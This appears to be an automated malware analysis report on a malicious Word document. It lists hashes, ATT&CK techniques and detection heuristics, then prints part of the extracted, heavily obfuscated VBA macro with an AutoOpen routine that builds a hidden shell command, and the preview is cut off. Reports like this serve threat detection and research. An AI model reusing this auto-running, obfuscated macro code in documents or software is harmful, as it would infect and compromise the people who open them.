Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 99c06d685e803c48…

MALICIOUS

Office (OLE)

230.4 KB Created: 2018-09-25 08:10:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 36eb307942eff1f00ecba7d6af33a02e SHA-1: e0533e6be8d6da004a1e189edcf20407b454b18e SHA-256: 99c06d685e803c489918bbbf9d5ae83a85877435891c5cdbfcfb59a45aa56a9f
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is present and utilizes a Shell() call, indicating an intent to execute arbitrary commands. The macro code is heavily obfuscated, making it difficult to determine the exact payload, but the presence of the Shell() call and the ClamAV detection strongly suggest malicious activity.

Heuristics 6

  • ClamAV: Doc.Malware.00536d-6697202-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6697202-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 204463 bytes
SHA-256: b802f91d1fde8caeba20f6e118de942da0a2a32afe557c02bb936aabce65ed1d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "DVlSjIhmjR"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim EDSkYR(2)
EDSkYR(0) = Mid(wMQErZS + QiOWoICtsJiTNFZ + SRvLjTa, 519, 446) + MidB(iZBvD + QuKiiYRlizrmAqziDpVi + dhilLnP, 680, 786)
EDSkYR(1) = MidB(RkmXc + wdjdLOrwVaauDArEjZq + zrIPG, 234, 213) + Left(nlDwAVQ + ruIOOojljYiHGfTGbEj + zGZZE, 9)
   Dim mZwnzi(2)
mZwnzi(0) = Mid(aZaiB + fIaUBJSHjIPHWPckwiHH + ruAfJfwH, 522, 895) + Mid(fTiUdqE + UpLzoTwzXAAXRQwEJI + wwFrGbF, 323, 74) + Left(WEpiULh + XRdIIOCszjLowjbLUs + StoKcids, 549) + Mid(EhUzi + sYEBRhbjlkWqlQOUDad + EOlIj, 573, 729)
mZwnzi(1) = Right(vzisQc + AzrIGHoMJiOnJwzDvi + zqCum, 646) + Mid(mOkaiXzz + UTUDffkZvSYKlERDMiGkOw + Xklzz, 920, 510) + Mid(lwLWwBI + NEzVkfhurNjFGfcnwScj + IvFjQdw, 73, 735) + MidB(ECzGPFBj + fpjuVAUikUcrbNdNOfTX + YAhiNb, 7, 428)
   Dim FZmuci(1)
FZmuci(0) = MidB(wbcKYWn + VmMMRwzAnzwIGwiCa + kKqZIwN, 544, 202) + Right(EijYQn + zcqWjpWDZskjBCWsnYk + EbEoVhi, 811)
   Dim ZjvYM(2)
ZjvYM(0) = Left(HcsdV + HKDYmJvtcZOCGJfViwXDKO + IXBiz, 964) + MidB(bAVAaGf + zzHvzwrzzvjHJzmWc + QmjhiBm, 906, 451) + Left(kKQVOK + qzAUqTGqaTJZhUOPRT + ZiOWi, 883) + MidB(cvwDaPS + XqvUDIMliAzuINapczYQDp + dUwSCY, 37, 882)
ZjvYM(1) = Left(kWWSJ + nlhmjfocNQziLuSsnQw + OkbKETKn, 536) + Mid(EKbtCS + KluCSGczRIuoXwqV + DcXUc, 501, 28)
   Dim pUmZP(1)
pUmZP(0) = Mid(iJEtrK + LbtVDvztPHJqfJJaco + vhCQhQ, 809, 349) + Right(EJAjf + cXsJIwzTYkhktiDoAffjDzN + Zpzdvw, 998)
daOPpjYMKN (KeyString(JtnJjBa + RKCPu + 0 + 8 + 3 + 12 + 44 + uvqsME + FkSAVq) + ICaIO + mwaUL + KeyString(puoLov + YFjVEw + 0 + 10 + 4 + 14 + 49 + nLPztMU + hlDtm) + nFrtGwiw + PQkuJFJimN + zLzYGZcjTnq + PTEBoi + otPDnl + prBfhEbiiaX + daQQncdWi + jcfivOb + iBTmmvbwUpu + LbAGmDqNEqZ + bzsZTFhI + YctdB + wGaPmq + ussiV + JCiXiWKi + IPbqNG + ifDwScjR + HPbCsw + miFQN + kIMZF)
   Dim qNwzqp(2)
qNwzqp(0) = Left(vfadZGmn + oGLFvOowNFqsQmhwC + trnZqk, 363) + Left(USLRhXlR + CrzpEnGITFproOSWYhVz + YhBStBP, 277)
qNwzqp(1) = Mid(itCimj + fsfbWUCSvLskFfFFJ + paTRjT, 345, 686) + MidB(ZLTWEzKw + jUCYqqJzjizuNHFXBk + XYVYN, 1, 663)
   Dim LYiVY(2)
LYiVY(0) = MidB(pJUjDKc + TAqFbFAIfzVRwlYlVih + fhrQB, 158, 258) + Mid(Ruzsq + TiMtvENXMSlqlUdZuFp + RDRAB, 950, 538) + MidB(XCvUmRaJ + ppbGJpIfQkIdkMmXLakXsS + QhMwkcz, 173, 199) + MidB(ILtSNiJP + IKZolSESjnRzBRzjjbC + iMSHXsiC, 364, 408)
LYiVY(1) = MidB(nKzJiE + JqDBUNKjskiJZzKh + lwnia, 283, 128) + Right(BXKflo + nLfYTaDzIBZKUFYsQSu + KNqNu, 882) + MidB(QiWVuc + CfcGFajAtZNwsOYOFjX + OjIbz, 10, 443) + MidB(UNmRq + BJMBUjZkiHVOMXYrYSjj + wGbfLb, 474, 451)
   Dim ZKGji(1)
ZKGji(0) = Left(rTtBPuf + swcQRafYZzsiwiHO + pJRjrP, 128) + MidB(Mwwviau + wzaLJJtRLDjmQCpKkaLGK + BvcTI, 63, 396) + Left(XqiAIn + vRAafizjkiMnrPUzqzCz + AqIYoC, 932) + Right(KtqmVM + XSqJcjaKzphAsJisoHwih + jWiKnk, 220)
End Sub


Attribute VB_Name = "hVGXKiOkCGT"
Function nFrtGwiw()
YpcNHAH = "d" + " " + CStr(Chr(2 + 7 + 5 + 0 + 33)) + "V" + "^:" + "O" + "N" + CStr(Chr(2 + 7 + 5 + 0 + 33)) + "C"
jMHAEAnI = CStr(Chr(1 + 4 + 3 + 0 + 26)) + "^s" + "^" + "e^" + "t"
ZhsaYpjwD = " #" + "^" + "~=" + "^" + "3" + "^5" + "^" + "1^" + " " + "9^"
ifckNmw = "0" + "5^" + " ^" + "30" + "^9"
Dim ozrtQG(2)
ozrtQG(0) = MidB(poAADEii + VGpzsKrHCnFTrRmzolzK + RjjINE, 276, 610) + Left(LArHh + wUIjVIRbciLtWYaaKpt + ZAiFll, 967)
ozrtQG(1) = MidB(TApSova + mbfTZmPmjGrdFVVadfq + ZaWGwk, 591, 998) + MidB(HXtFavqz + LvpuTiaAULvwOPIpiCGdi + pEvimfXN, 107, 573)
   Dim SsVjDh(2)
SsVjDh(0) = MidB(ZWtqH + UNizmiiMdpwEDzqRrHEP + fEojf, 23, 740) + Left(tNMRHGf + ROHqCaSZqSpQzInGdmcCAZJl + jKMjO, 973)
SsVjDh(1) = Right(pCNQG + dpdQDdAduCoMHQsWPfGGBw + RajNjbG, 445) + Left(VoZjhbo + wuYKZklRWjcRFCFhWNGk + Smwjz, 598)
   Dim mNGEzt(1)
mNGEzt(0) = Left(aiLaj + kPERLVtZfVijXQPnVc + GkrmYLtU, 968) + Mid(nzBMZf + jZiLGnVuLsNiIRTKwhjKW + klIEq, 167, 70)
LWfmG = "^ " + "^0" + "^9" + "3" + " " + "5" + "3" + "
... (truncated)

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